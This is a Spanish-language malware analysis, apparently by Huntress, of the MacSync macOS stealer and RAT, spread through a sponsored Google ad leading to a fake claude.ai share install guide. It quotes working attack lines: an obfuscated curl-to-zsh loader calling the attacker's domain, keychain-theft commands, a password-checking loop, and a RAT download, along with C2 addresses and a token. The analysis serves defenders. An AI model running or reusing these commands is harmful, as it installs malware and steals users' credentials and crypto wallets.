Una falsa guía de instalación de Claude lleva al ladrón y RAT MacSync: lo que extrajimos de los servidores del atacante

Puntos clave

  • Huntress investigó recientemente un incidente en el que la víctima buscó en Google cómo instalar Claude en una Mac, hizo clic en un resultado patrocinado y llegó a una conversación de claude.ai/share armada como una guía de instalación de Apple Support. La conversación le indicaba que abriera Terminal y pegara un solo comando curl. 

  • MacSync es una cadena de ataque de seis etapas, no un golpe rápido. Los componentes son un cargador liviano en zsh, un ladrón de AppleScript del lado del servidor que mantiene la lógica valiosa fuera del endpoint y detrás de una puerta de acceso con api-key, un RAT nativo en Mach-O para acceso manual, un ayudante firmado por separado creado para robar un solo permiso de TCC (Grabación de pantalla), y un conjunto de troyanos de aplicaciones de wallet. Cada etapa prepara el terreno para las siguientes.

  • El objetivo final del malware era robar todo lo que pudiera. MacSync obtiene el botín completo del robo: cookies e inicios de sesión del navegador, secretos del llavero, una contraseña de cuenta confirmada, sesiones de Telegram, claves de SSH y de la cloud. Pero el peso del kit recae en las wallets: alrededor de 60 extensiones de navegador para wallets, 21 aplicaciones de wallet de escritorio y tres aplicaciones complementarias de wallets de hardware troyanizadas están diseñadas para hacer phishing continuo de frases de recuperación. 

  • La operación abarca tres niveles de infraestructura separados: entrega con Cloudflare al frente (agenticsora[.]com en este caso y malwareaudit[.]com en un segundo incidente de Huntress que ejecuta la misma cadena), una IP del operador registrada en el beacon del ladrón (103.216.221[.]95), y un canal TLS dedicado de IP sin procesar para el RAT (85.206.161[.]241:8443).

Agradecimientos: Un agradecimiento especial a Ryan Dowd por sus contribuciones a esta investigación y redacción.

Antecedentes

A mediados de julio, Huntress investigó una intrusión en macOS en la que la víctima pensaba estar instalando Claude, pero en realidad ejecutó un stealer completo y una herramienta de acceso remoto llamada MacSync. El camino de entrada fue relativamente sencillo. El usuario buscó en Google cómo instalar Claude en una Mac, hizo clic en un resultado de búsqueda patrocinado y llegó a un Claude share público en el dominio real claude.ai disfrazado de guía de instalación de Apple Support. Esa página le indicaba abrir Terminal y pegar un solo comando curl, que descargaba un loader desde la infraestructura del atacante.

Si esto te resulta familiar, es porque lo es. Huntress documentó anteriormente casos de AMOS Stealer entregado a través de conversaciones envenenadas de ChatGPT y Grok, y SectopRAT entregado a través de una campaña de malvertising con un falso Claude de escritorio. En cada uno de esos casos, resultados de búsqueda envenenados mostraban guías alojadas con IA que terminaban con la instalación de malware en los sistemas de las víctimas. 

En este caso, el comando pegado descarga MacSync y se despliega en una cadena de seis etapas. Engaña al usuario para que otorgue Acceso total al disco, roba datos del navegador y secretos del llavero, captura una contraseña de cuenta confirmada, instala un RAT Mach-O nativo para control manual, y agrega un helper diseñado para obtener en silencio el permiso de Grabación de pantalla. Si encuentra ciertas apps de billeteras cripto ya instaladas, va un paso más allá y las reescribe en el lugar, de modo que un inicio de apariencia normal lleva a un falso flujo de recuperación que recolecta la frase semilla y la envía al operador.

Debido a que la víctima desconectó el equipo antes de que pudiéramos extraer el malware del disco, fuimos directamente a la fuente y recuperamos MacSync desde los propios servidores de entrega del atacante. Este análisis recorre cómo el Claude share impulsado por anuncios se conecta con el loader, cómo funciona cada una de las seis etapas en macOS, cómo está organizada la infraestructura, y qué necesitan saber los defensores sobre este vector de ataque.

Acceso inicial: un Claude share convertido en arma

La víctima buscaba Claude. Su historial de navegador comienza con una búsqueda en Google sobre cómo instalar Claude Code en una Mac y, dos clics después, llega a una página que parece mostrar la respuesta. En el medio hubo un anuncio, y el anuncio es todo el truco. El resultado en el que hizo clic no era el listado orgánico de anthropic.com, sino un anuncio pagado de Google Ads.

Esto es malvertising en su forma actual, la menos exótica. El término se usaba originalmente para describir un banner trampa que lanzaba un exploit al cargarse. Lo que significa en la práctica ahora es que un atacante compra un anuncio legítimo, en una red de anuncios legítima, que apunta a una página que controla, y deja que el buscador lo coloque por encima del resultado real. No hay exploit ni nada que la red de anuncios pueda rechazar al ingresarlo. El operador le pagó a Google para posicionar un señuelo por encima de anthropic.com para las personas que buscan cómo instalar Claude. Es la versión pagada del SEO poisoning, que cumple la misma función de forma gratuita manipulando los rankings orgánicos, y la razón por la que los operadores siguen pagando es que un espacio patrocinado aparece por encima de todos los resultados orgánicos de la página.

Hacer clic en un resultado patrocinado nunca lleva directamente al anunciante. El navegador primero pasa por el redireccionamiento de clics de anuncios de Google, una URL con aclk en la ruta, donde Google registra el clic para facturarle al anunciante antes de enviar al visitante. Ese redireccionamiento lleva los datos del clic en su cadena de consulta. El gclid, abreviatura de Google Click Identifier, es un token que Google genera para ese clic en particular, el identificador que un anunciante usa para vincular una conversión posterior con el anuncio y la palabra clave exactos que la generaron. 

Figura 1: Cómo un resultado patrocinado por Google llega al anunciante, y qué registra el redireccionamiento de clics de anuncios en el camino.

El ID de campaña nombra la campaña publicitaria que sirvió el clic, y este dice gad_campaignid=23991223358. Un clic orgánico no produce nada de esto: va directo al sitio y no deja rastro de salto aclk ni de gclid. Así que el historial es inequívoco. La víctima llegó a la página a través de un anuncio que el operador le pagó a Google para mostrar, colocado por encima del resultado orgánico de anthropic.com para su propia búsqueda, y cualquier otra víctima cuyo historial lleve la campaña 23991223358 entró por la misma compra. El destino del anuncio era un enlace de claude.ai.

La víctima fue llevada a una conversación de Claude compartida, claude.ai/share/<id>. Anthropic permite que cualquier usuario publique una conversación en una URL de share pública, y esa es exactamente la función que el operador abusó. El señuelo vive en el propio claude.ai, sobre HTTPS, en un dominio en el que el objetivo ya confía. No hay ningún dominio similar que notar ni ninguna advertencia de certificado que sortear.

La misma función ha estado en las noticias por la razón opuesta. Reporteros encontraron recientemente conversaciones privadas de Claude apareciendo en los resultados de Google y Bing porque un enlace de claude.ai/share es una página web pública común que los buscadores rastrean como cualquier otra. Que los usuarios expongan sus propios chats y que un operador plante una falsa guía de instalación provienen de la misma decisión de diseño. Todo lo que se publica en una URL de share es público, indexable y se sirve bajo el certificado de Anthropic. Esto también significa que un share convertido en arma puede encontrarse sin ningún anuncio detrás, aunque este operador haya pagado por el tráfico de todos modos.

Figura 2: La conversación compartida de claude.ai armada como arma, insignia de compartido por Apple Support, que guía a la víctima para pegar un curl de una sola línea en Terminal.

La preparación es cuidadosa. La publicación se titula "Running Claude Code on Mac" y lleva una insignia de "Shared by Apple Support", un nombre de usuario que eligió el operador. El propio aviso de seguridad de Anthropic, que aparece justo encima del contenido, dice "This is a copy of a chat between Claude and Apple Support", así que la plataforma le repite al lector el nombre elegido por el atacante como si fuera un hecho establecido. La conversación en sí presenta una respuesta ordenada, "Get Claude Code on Mac in Minutes", escrita para que parezca documentación del proveedor. El paso 1 le dice al usuario que abra Terminal. El paso 2 le dice que pegue un comando y presione Enter. Una lista final de "What the Installation Provides" promete que la instalación "leaves your personal files untouched" y "makes no system-level modifications without your approval." 

El ataque depende del comando pegado: 

curl -kfsSL $(echo 'aHR0cDovL2FnZW50aWNzb3JhLmNvbS9jdXJsL2FhOGIxYTg2YmJiYWE3Zjk3YXU='|base64 -D)|zsh

La URL está oculta dentro de ese bloque Base64, así que la línea no muestra ningún dominio a simple vista, solo un echo canalizado a través de base64 -D. Al decodificar el bloque, el cargador revela su endpoint, hxxp://agenticsora[.]com/curl/<token>, uno de los dos dominios de entrega detrás de este kit. curl -kfsSL lo obtiene en silencio con la validación de certificados desactivada, y el |zsh final ejecuta lo que llega sin que nunca quede como archivo en el disco. No hay exploit ni archivo malicioso que detectar, solo un comando que el usuario ejecuta a mano en una terminal que abrió él mismo.

El nombre de dominio hace su propia ingeniería social. agenticsora[.]com suena como un producto de IA, "agentic" más Sora, el modelo de video de OpenAI, y ninguna de las dos palabras tiene relación con lo que aloja el servidor. No podemos saber, con lo que tenemos, si el operador lo registró para una campaña anterior con temática de Sora y lo reutilizó en esta, o si simplemente eligió un nombre con sabor a IA que encajara bien junto a una guía de instalación de Claude. De cualquier forma, un dominio que parece pertenecer a una herramienta de IA genera menos sospechas en alguien que estaba buscando justamente eso.

Nada de claude.ai, una conversación compartida, o un comando curl es malicioso por sí solo. El operador encadenó los tres, los dirigió a una búsqueda rutinaria de software y dejó que la víctima ejecutara la instalación.

Ese comando también fue nuestra vía de entrada. Reconstruimos la solicitud que hace el cargador, un User-Agent de macOS falsificado y una api-key estática que verifica el servidor de entrega, y obtuvimos ese primer payload nosotros mismos desde agenticsora[.]com. 

Huntress también detectó la misma cadena de infostealer en otro endpoint con macOS, y ahí el comando de una sola línea pegado resolvía a malwareaudit[.]com en su lugar. El mismo endpoint tokenizado /curl, la misma api-key, un dominio diferente al frente. Obtener esa compilación nos dio una segunda copia de cada etapa para comparar con la primera, que es cómo sabemos qué partes del kit son específicas de cada víctima y cuáles son fijas.

Ese primer payload es el inicio de la cadena de ataque. Desde aquí, seguimos la cadena en el orden en que se ejecuta. Seis etapas, cada una preparando la siguiente. Un cargador zsh que la víctima pegó, el payload que infla y ejecuta en segundo plano, el AppleScript del lado del servidor que hace el robo real, el RAT en Mach-O que mantiene al operador dentro del equipo, el helper firmado que existe para ganar un solo permiso TCC, y los troyanos de wallet que convierten un robo de datos puntual en un ciclo interminable de robo de criptomonedas. La figura 3 pone toda la cadena en una sola página, y las secciones siguientes la recorren etapa por etapa.

Figura 3: Las seis etapas de MacSync, desde el comando curl de una línea pegado hasta las apps de wallet troyanizadas.

Etapas 1 y 2: el cargador y su payload decodificado

Un cargador es lo más pequeño y útil que un atacante puede hacer que ejecutes. Su único trabajo es conectarse, obtener el malware real y ejecutarlo, lo que le permite mantenerse pequeño y barato de reconstruir. Nada en un cargador necesita parecer un stealer, porque el stealer llega después.

Después de enviar el comando curl inicial, el servidor nos entregó un pequeño script de cargador en zsh, de 1.442 bytes. La etapa 1 es el envoltorio, y el cargador es un envoltorio de tres líneas alrededor de un payload comprimido con gzip y codificado en Base64, entregado como un heredoc:

#!/bin/zsh
d30924=$(base64 -D <<'PAYLOAD_m11797186874058' | gunzip
H4sIAPplVmoAA91W72+bOBj+nr/iHaMRrHKBBEjSlnXVrtKqqdupXXXV7abIYJNYIcDFzjXNtv/9
... [~18 líneas de Base64] ...
PAYLOAD_m11797186874058
)
eval "$d30924"

La desofuscación es mecánica y completamente estática, no se requiere ejecución. El cuerpo del heredoc es Base64, y sus bytes iniciales H4sI decodifican al número mágico de gzip (1f 8b 08), así que base64 -D lo decodifica y gunzip lo infla hasta la segunda etapa real, que el envoltorio ejecuta con eval. Reproducimos la decodificación e inflado sin conexión (sin eval) para recuperar el script interno.

Figura 4: De Base64 a gunzip en CyberChef, inflando el cargador externo para revelar la segunda etapa interna daemon_function.

El envoltorio es polimórfico por compilación. Los dos cargadores usan nombres de variables diferentes (d30924 frente a d1904) y delimitadores de heredoc diferentes (PAYLOAD_m11797186874058 frente a PAYLOAD_m58092800820545). Como el único contenido significativo que cambia es el token incrustado, que actualiza el flujo de bytes comprimido, cada compilación produce un hash externo único mientras la lógica permanece idéntica. El nombre y el delimitador aleatorios agregan una segunda capa de evasión trivial de firmas. Por eso nos basamos en el comportamiento, no en el checksum.

La etapa 2 es el payload inflado, una sola función zsh, daemon_function, ejecutada en segundo plano. Tiene tres tareas:

  • Obtener y ejecutar. Solicita hxxp://agenticsora[.]com/dynamic?txd=<token> y canaliza la respuesta directamente a osascript. El servidor devuelve AppleScript al vuelo, y el loader lo ejecuta sin escribirlo nunca en el disco. Si se lo invoca con una contraseña capturada como argumento, agrega &pwd=$1 a esa URL, retransmitiendo la contraseña al C2 para que el servidor pueda devolver una siguiente etapa consciente de la contraseña.

  • Exfiltrar. Si /tmp/osalogging.zip, el archivo comprimido con los datos robados, existe y no está vacío, lo sube en fragmentos de 10 MiB mediante HTTP PUT a /gate, un fragmento por solicitud, reintentando hasta ocho veces cada uno con un retraso creciente. 

  • Limpiar. Cuando la subida se completa con éxito, ejecuta rm -f /tmp/osalogging.zip para reducir el rastro en el disco.

/tmp/osalogging.zip es el botín, y el loader nunca lo crea. La etapa 3, el ladrón en AppleScript, recopila todo lo que puede alcanzar en una carpeta de preparación y lo comprime en esa ruta exacta cuando termina. Como la llamada a osascript es síncrona, el loader queda a la espera todo el tiempo que dura la etapa 3, y el archivo comprimido ya está en el disco cuando la siguiente línea lo busca. Las dos etapas nunca se pasan nada entre sí. Se encuentran en un nombre de archivo fijo. El operador eligió uno poco llamativo, y osalogging parece un registro rutinario de osascript para cualquiera que revise /tmp.

La función se desvincula por completo: tres redirecciones de exec a /dev/null, y un lanzamiento en segundo plano hacen que nada se imprima en la terminal. El transporte es deliberadamente débil: usa -k para deshabilitar la verificación de TLS, -s para el modo silencioso y hxxp:// sin cifrar.

¿Qué roba el loader? Nada por sí solo. No lleva lógica de robo. Es deliberadamente delgado. Eso mantiene el artefacto /curl pequeño y genérico, mientras el operador mantiene el comportamiento del lado del servidor, detrás de la puerta de api-key, donde se puede cambiar a voluntad. El token fijo convierte a cada loader en una baliza por víctima, y la api-key compartida junto con el endpoint duplicado /curl en ambos dominios vinculan las compilaciones a una sola operación.

Esto coincide claramente con el endpoint. Todo lo siguiente está presente en la telemetría:  

  • la ejecución en memoria de curl ... | zsh 

  • la reobtención mediante ~/.zshrc 

  • el puente curl .../dynamic | osascript

  • el archivo comprimido /tmp/osalogging.zip que el endpoint construyó después con ditto 

El único propósito del loader es la línea curl .../dynamic | osascript. Lo que el servidor devuelva activa la siguiente etapa, y ahí es donde realmente comienza el robo.

Etapa 3: el AppleScript dinámico, el cerebro del ladrón

La respuesta de /dynamic es un AppleScript de ~46 KB, servido como text/html y ejecutado por osascript en memoria. Este archivo nunca existió en la máquina de la víctima. Solo lo tenemos porque aplicamos ingeniería inversa a la solicitud del script loader con gunzip y lo extrajimos directamente de agenticsora[.]com. Tres cosas confirman que es la siguiente etapa en la cadena de ataque: 

  • El propio comportamiento de obtener y ejecutar del loader de la etapa 2.

  • La telemetría del endpoint, donde osascript impulsó exactamente los comandos de shell que este script emite.

La puerta de Acceso total al disco

Antes de que el script pueda robar algo valioso, necesita un permiso, y dedica sus primeros movimientos a obtenerlo.

TCC (Transparency, Consent, and Control) es el subsistema de macOS que se interpone entre una app y los datos privados del usuario. Es la política detrás de cada aviso de "X quiere acceder a tu Y". Full Disk Access es el permiso más amplio que otorga macOS, el que desbloquea las rutas protegidas que este stealer busca recolectar, desde los almacenes de cookies del navegador hasta el historial de Safari y la base de datos de Apple Notes. Sin él, la recolección provocaría que el usuario reciba una serie de avisos en la interfaz que le permitirían negar el acceso y frustrar las acciones del stealer sobre las ubicaciones protegidas. Por eso el punto de entrada del script guía a la víctima para que otorgue FDA, y usa ls -al ~/Library/Cookies/ como sonda en vivo para verificar si ya lo tiene, porque leer ese directorio también está controlado por TCC.

La sonda falla en la primera ejecución porque una Terminal recién abierta no tiene Full Disk Access, así que el script se dispone a conseguirlo. Muestra un cuadro de diálogo titulado "Full Disk Access required!" que dice "Please allow access and reopen the Terminal", con un único botón de Continue y el candado de FileVault tomado directamente de /System/Library/CoreServices/CoreTypes.bundle. En el momento en que el usuario lo cierra, el script ejecuta open x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles, que lo lleva directamente al panel de configuración que contiene el interruptor. Hasta ahí llega la primera ejecución. El script termina sin recolectar nada, el cargador no encuentra ningún archivo esperándolo y también se rinde, y todavía no se ha robado nada. Todo este primer paso existe únicamente para activar un permiso.

macOS no permite que un proceso se otorgue el permiso a sí mismo, ni aplica un nuevo permiso a un proceso que ya está en ejecución. Así que el usuario tiene que activar el interruptor, y Terminal debe iniciarse de nuevo después. Ese segundo requisito es el verdadero problema del operador, y es lo que resuelve la escritura en ~/.zshrc.

Antes de mostrar el cuadro de diálogo, el script copia el ~/.zshrc limpio a /tmp/.zshrc y agrega su propio comando curl|zsh de una línea a la copia activa, protegido por un grep para que nunca se duplique. ~/.zshrc se ejecuta cada vez que arranca una shell interactiva de zsh, así que la siguiente ventana de Terminal que la víctima abra vuelve a descargar el stealer y a ejecutarlo, esta vez con el permiso ya otorgado. En esa segunda ejecución, la sonda de ls tiene éxito, y el script copia de inmediato /tmp/.zshrc de vuelta sobre ~/.zshrc, elimina el respaldo y ejecuta killall Terminal para cerrar la ventana que la víctima acababa de abrir. Solo entonces toma su lock y empieza a recolectar.

Esa entrada en ~/.zshrc es persistencia, pero apenas. Existe para sobrevivir a un reinicio de Terminal, y se revierte en cuanto ocurre ese reinicio. La persistencia duradera llega en la etapa 4. Esto también explica por qué el panel de Full Disk Access se abre dos veces en la telemetría del equipo afectado: se abre una vez por cada ejecución que falla la sonda, y una víctima que vuelve a abrir Terminal antes de otorgar el permiso simplemente ejecuta todo el proceso de nuevo.

Antes de la recolección, el script toma un lock atómico con mkdir /tmp/macsync_<token>.lock. En el equipo afectado, este apareció como /tmp/macsync_e9967985....lock. Ese mutex es el artefacto que le da nombre a la familia de malware MacSync.

Hay un error en esa limpieza que vale la pena señalar, porque decide si la línea de persistencia realmente desaparece o no. El comando que debía eliminar la línea del respaldo es:

grep -Fvx <cmd> /tmp/.zshrc > /tmp/.zshrc.tmp || mv /tmp/.zshrc.tmp /tmp/.zshrc

El || solo se activa cuando grep no selecciona nada, así que en cualquier perfil real con otras líneas escritas en él, grep termina limpio y el mv nunca se ejecuta. La copia filtrada se escribe y luego se ignora. La primera vez que esto se ejecuta, no le cuesta nada al operador porque el respaldo se tomó antes de que se agregara la línea de código. El problema aparece en una segunda ejecución fallida. Esa ejecución copia un ~/.zshrc que ya contiene la línea de código al respaldo, el filtro que debería haberla eliminado no se ejecuta, y la restauración en la ejecución exitosa la vuelve a colocar de inmediato. Por eso vale la pena leer ~/.zshrc en cualquier equipo donde el panel de Acceso total al disco se haya abierto más de una vez, porque en ese caso, la "persistencia autolimpiante" no se limpia sola.

Phishing de contraseñas y validación

MacSync quiere la contraseña de la cuenta en texto plano, y logra que la víctima la escriba. Muestra un diálogo nativo, con la respuesta oculta, titulado "System Preferences" con el cuerpo "You should update the settings to launch the application", y luego entra en un ciclo:

on checkvalid(username, password_entered)

set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered

    -- returns true only if dscl accepts the password

dscl . authonly es el truco que hace esto confiable. Le pide al servicio Open Directory que verifique un nombre de usuario y una contraseña sin abrir una sesión de inicio, así que funciona como un oráculo silencioso de sí o no para validar la contraseña real de la cuenta. El diálogo sigue reapareciendo, alimentando cada entrada a ese oráculo, hasta que una resulta válida. Tampoco hay forma de salir de ese ciclo, salvo con una contraseña que funcione. El diálogo está envuelto en un repeat simple sin contador, y continúa durante 150, que en AppleScript significa 150 segundos. Ignorar el aviso solo hace que se cierre solo después de 2,5 minutos, devuelva una cadena vacía, falle la verificación de dscl y vuelva de inmediato a molestarte. También toma prestado LockedIcon.icns del mismo paquete de Apple del que el aviso de Acceso total al disco toma su candado, así que ambos diálogos usan los mismos elementos visuales del sistema. Esta es la fuente de los eventos repetidos de dscl . authonly '[user]' '<guess>' en el equipo, uno por cada intento fallido. La contraseña con la que se queda el operador está confirmada como correcta, no es simplemente lo que la víctima haya escrito. Ese texto plano confirmado se escribe en la carpeta de preparación y se envía directamente a la extracción del llavero.

Robo del llavero y del almacenamiento seguro del navegador

Con una contraseña validada en mano, el script decodifica un blob en Base64 a /tmp/.kgrab.sh y lo ejecuta. Decodificamos ese blob, un script de /bin/sh de 3.434 bytes, y descubrimos que extrae la clave AES de "Safe Storage" de Chromium de cada navegador desde el llavero de inicio de sesión:

KEY=$(security find-generic-password -w -s "Chrome Safe Storage" 2>/dev/null)

if [ -n "$KEY" ]; then GOT_KEY=1; printf '%s' "$KEY" > "${1}ChromeStorage"; fi

# repeated for Brave, Edge, Vivaldi, Opera, OperaGX, Yandex, Arc, Chromium,

# Chrome Beta/Canary/Dev, CocCoc ...

Si todas esas búsquedas resultan vacías, recurre a security unlock-keychain -p "$(cat /tmp/.kpwd)" usando la contraseña capturada, luego vuelca el llavero y extrae cada contraseña de Safe Storage. Esas claves son las que descifran las cookies robadas, los inicios de sesión guardados y los datos web. La contraseña de la cuenta capturada existe específicamente para desbloquear el llavero en esa ruta alterna.

Figura 5: El .kgrab.sh decodificado extrayendo de cada navegador la clave Chromium Safe Storage AES key del llavero de inicio de sesión, con un respaldo de desbloqueo del llavero usando la contraseña capturada.

Este script tiene un error que le cuesta datos al operador. No hay ninguna búsqueda de una clave "Opera GX Safe Storage" en ninguna parte. La línea de OperaGX reutiliza lo que haya devuelto la búsqueda de Opera y lo escribe como OperaGXStorage, y el respaldo de volcado del llavero repite el error con una segunda rama else if (svc=="Opera Safe Storage") que nunca puede activarse, porque la primera ya coincidió. La etapa 3 sigue copiando el perfil de OperaGX, incluyendo cookies y Login Data. Simplemente se queda con una clave que no abrirá nada de eso.

Qué roba MacSync

La recolección es amplia. Todo se escribe bajo una raíz de preparación aleatoria, /tmp/sync<random>/ (en el equipo analizado /tmp/sync1024394/):

  • Navegadores. 13 navegadores Chromium (Chrome, Chrome Beta/Canary/Dev, Chromium, Brave, Edge, Vivaldi, Opera, OperaGX, Yandex, Arc, CocCoc): cookies, web data, Login Data además del almacenamiento de extensiones para una lista fija de 40 ID de extensiones generales, y luego una segunda lista de 89 ID de extensiones de wallets (MetaMask nkbihfbeogaeaoehlefnkodbefgpgknn y muchas más). Los navegadores basados en Gecko (Firefox, Zen, LibreWolf, Waterfox) no admiten cookies.sqlite, key4.db,logins.json, places.sqlite, formhistory.sqlite, cert9.db, logins-backup.json, ni los diarios WAL y SHM correspondientes, por perfil.

  • Wallets de escritorio. Alrededor de 21 apps copiadas todas a la vez. Exodus, Electrum, Atomic, Guarda, Coinomi, Sparrow, Wasabi, Bitcoin Core, Monero, Ledger Live, Ledger Wallet, Trezor Suite, y otras.

  • Todo lo demás. Todo el directorio de sesión tdata/ de Telegram Desktop, ~/Library/Keychains/*.keychain-db, ~/.ssh, ~/.aws, ~/.kube, un grabber de archivos que recorre Desktop, Documents y Downloads por extensión (incluyendo seed, kdbx, pem, wallet), las cookies e historial de Safari, el NoteStore.sqlite de Apple Notes, y los dotfiles de shell.

El script también escribe un archivo de información de baliza que se autoidentifica:

MacSync Stealer
Build Tag: Build 1
Version: 1.1.2_release (x64_86 & ARM)
IP: 103.216.221[.]95          

Todo esto junto con el nombre de usuario, la contraseña capturada, y la salida de system_profiler para software, hardware y pantallas. El código fuente está comentado en ruso de principio a fin, y los comentarios son notas de trabajo, no documentación. La rutina para navegadores Gecko lleva "Убрана хрупкая SafeSQLiteCopy (часто падала когда Firefox запущен)", que se traduce como "Se quitó el frágil SafeSQLiteCopy (fallaba seguido cuando Firefox estaba abierto)". Alguien mantiene esto y corrige sus propios errores contra equipos reales. Es también lo primero de varias cosas que vinculan el kit con el linaje de AMOS/Atomic Stealer, y volveremos a eso una vez que toda la cadena esté sobre la mesa.

Cada observación del sistema se resuelve en una línea de este script: el bucle dscl, las escrituras en .zshrc, el panel de FDA que se abre dos veces, el robo de cookies, el archivo ditto.

Cuando termina la recolección, el script archiva el árbol de staging con ditto -c -k --sequesterRsrc <staging> /tmp/osalogging.zip, elimina /tmp/sync* y libera el lock. ditto es el archivador propio de Apple, y --sequesterRsrc conserva los resource forks y los metadatos extendidos que un ZIP común descartaría en silencio, así que el archivo que sale del sistema es una copia fiel de todo lo recolectado. Eso produce exactamente el /tmp/osalogging.zip que el loader está diseñado para subir. Las dos etapas se enlazan mediante esa ruta fija. La etapa de AppleScript archiva el botín, y el loader lo envía a /gate y lo elimina.

Esas eliminaciones son tareas de limpieza, no antianálisis. Nada en esta etapa está diseñado para vencer a un ingeniero inverso. El AppleScript llega como código fuente legible con sus comentarios en ruso intactos, el grabber de keychain es un script de shell codificado en Base64 dentro de él, y lo más parecido a la ofuscación en todo el kit es el XOR de un solo byte que el binario de la etapa 4 usa en sus propias cadenas de dominio. Lo que hace la limpieza es reducir la evidencia en disco que un respondedor encontraría después, lo cual sí es antiforense, y es bastante exhaustiva. /tmp/.kgrab.sh y /tmp/.kpwd se eliminan en el momento en que el robo del keychain retorna, /tmp/sync* desaparece después de construir el archivo, el directorio de bloqueo se elimina con rmdir, el archivo mismo lo elimina el loader una vez que lo sube, e incluso la línea de ~/.zshrc se revierte. Casi todos los archivos que toca esta etapa desaparecen antes de que alguien los busque. Lo que no puede borrar son los eventos de proceso que los crearon, que es precisamente la razón por la que la telemetría del sistema reconstruyó esta cadena después de que los artefactos ya no estaban. 

La única barrera real para el análisis aquí es arquitectónica. Si la etapa 3 se mantiene en el servidor, quien no capture la solicitud nunca obtiene el archivo, que es exactamente el problema que resolvimos haciendo la solicitud nosotros mismos.

Pero el acto final del stealer no es la recolección. Antes de salir, instala un agente persistente, un asistente de capturas de pantalla y, si las encuentra, copias troyanizadas de las apps de billetera de la víctima. Abordaremos primero el agente persistente, porque es lo que habría mantenido al operador en el equipo.

Etapa 4: el agente persistente, un RAT Mach-O con dos caminos de vuelta a casa

La etapa 3 instala y lanza este binario ella misma:

curl -kfsSL 'hxxps://agenticsora[.]com/loader/agent/<token>' -o ~/.local/com.apple.<id>.hcpi
chmod +x ~/.local/com.apple.<id>.hcpi
printf '%s' <password> > ~/.local/.mpwd          # le entrega al RAT la contraseña robada
~/.local/com.apple.<id>.hcpi &>/dev/null &     # primer lanzamiento, esta sesión

La etapa 3 no escribe ese plist como un archivo. Lo construye con cuatro llamadas de /usr/libexec/PlistBuddy -c 'Add ...', una para cada uno de Label, ProgramArguments, RunAtLoad y KeepAlive.

Entonces, lo que se descarga desde /loader/agent es lo que realmente persiste, y persiste mediante un LaunchAgent. Un LaunchAgent es el mecanismo de inicio automático por usuario de macOS, una pequeña lista de propiedades (plist) que el sistema lee cada vez que el usuario inicia sesión. El que se coloca aquí se configura con RunAtLoad y KeepAlive, así que el RAT se inicia en cada inicio de sesión y se vuelve a lanzar si alguna vez se cierra o se termina. Un reinicio no lo elimina, y tampoco lo hace terminar el proceso una sola vez, ya que el bootstrapper de launchd se asegurará de revivirlo.

El registro de adquisición, el encabezado Content-Disposition: filename="<token>.loader", y la telemetría del equipo afectado (un curl a /loader/agent que escribe ~/.local/com.apple.a3b73d35.hcpi, más el .plist correspondiente) corroboran todo esto.
Sin embargo, la etiqueta de ese LaunchAgent no siempre es com.apple.. El instalador lleva una lista de etiquetas reales de actualizadores (incluidas las de Google Keystone, Adobe ARM y Creative Cloud, Microsoft AutoUpdate y OneDrive, Dropbox, Spotify, Grammarly y JetBrains Toolbox), y elige la primera cuyo plist ya exista en el equipo. El agente malicioso entonces se oculta detrás del actualizador legítimo que la víctima tenga instalado. Solo cuando no coincide con ninguno de ellos recurre a com.apple.<8hex>, que es lo que ocurrió en nuestro análisis. La detección que se basa únicamente en el prefijo del plist com.apple. pasará por alto las copias que llevan el nombre de un proveedor.

El binario resultante es un troyano de acceso remoto (RAT) nativo, un Mach-O universal (x86_64 + arm64) escrito en C++, sin símbolos de depuración y firmado de forma ad hoc sin Team ID. Vale la pena analizar dos aspectos de cómo se construyó.

Primero, está enlazado de forma estática. Las únicas dos bibliotecas que carga del sistema son libc++ y libSystem. Todo lo demás viene compilado, incluida su propia copia de OpenSSL y Brotli, y esa decisión es lo que hace funcionar el resto del diseño de red del agente. Una pila TLS incorporada no depende de nadie. El agente puede conectarse a una IP directa, aceptar un certificado autofirmado y omitir por completo la validación de confianza sin depender de nada instalado en el equipo. Por eso también los segmentos tienen el tamaño que tienen: 5.1MB para arm64 y 6.5MB para x86_64.

Esa copia de OpenSSL nos permite fechar la compilación. Se identifica como version 3.6.2, publicada oficialmente el 7 April de 2026, y lleva su propio aviso de compilación que dice built on: Mon May 18 08:54:01 2026 UTC. El operador la compiló aproximadamente dos meses antes de esta intrusión, en una máquina donde el árbol de compilación se encontraba en /tmp. Sus prefijos siguen presentes en las cadenas de configuración /tmp/openssl-arm64/ y /tmp/openssl-x86_64/, y hay dos avisos de compilación en lugar de uno, con una diferencia de alrededor de 2 minutos entre ellos. Compilaron cada arquitectura por separado y combinaron los resultados en un solo binario combinado.

Segundo, es C++ simple y nada más. En un primer análisis, el OpenSSL incluido genera símbolos aes_v8_*, que son rutinas de ensamblador ARMv8 para AES, no el motor de JavaScript V8. Aquí no hay Electron ni ningún entorno de scripting. Es un programa compilado directo; vale la pena decirlo con claridad porque los troyanos de billeteras que aparecen más adelante en la cadena son todo lo contrario: puro JavaScript ejecutándose dentro de Electron.

Su comando y control está codificado de forma fija y basado en IP:

85.206.161[.]241:8443        
token: nLbd5Df6CyCZNFDBpxGtBOlfshEr4jdTJ9ZYwxhVahr1tV2EdeZNG6VdNK2O2
reads ~/.local/.mpwd         

Figura 6: Una decompilación en Ghidra de la configuración de C2 codificada en el agente, el endpoint TLS con IP sin procesar 85.206.161[.]241:8443, su token incorporado y el intervalo de baliza.

La IP sin procesar es un nivel separado de la entrega con fachada de Cloudflare, y es el canal de control activo del agente. La IP del operador de la baliza de la etapa 3 (103.216.221[.]95) nunca aparece en el binario. El dominio de entrega sí aparece, pero no lo verás en un análisis con strings. El agente oculta agenticsora[.]com y tres de sus propias rutas, /loader/gate, /loader/file-upload y /loader/agent, detrás de un XOR de un solo byte (0xAA) envuelto en una pequeña clase de C++ ObfuscatedString, que se decodifica solo cuando una ruta de código las necesita. 

Así que el RAT mantiene dos caminos de regreso: el control manual pasa por la IP directa mediante TLS, y una segunda ruta HTTP ofuscada vuelve al dominio de entrega, que muy probablemente cubre la autoactualización y la transferencia masiva de archivos. Separar el control activo de la entrega, y luego ocultar el respaldo de entrega, es una decisión resiliente.

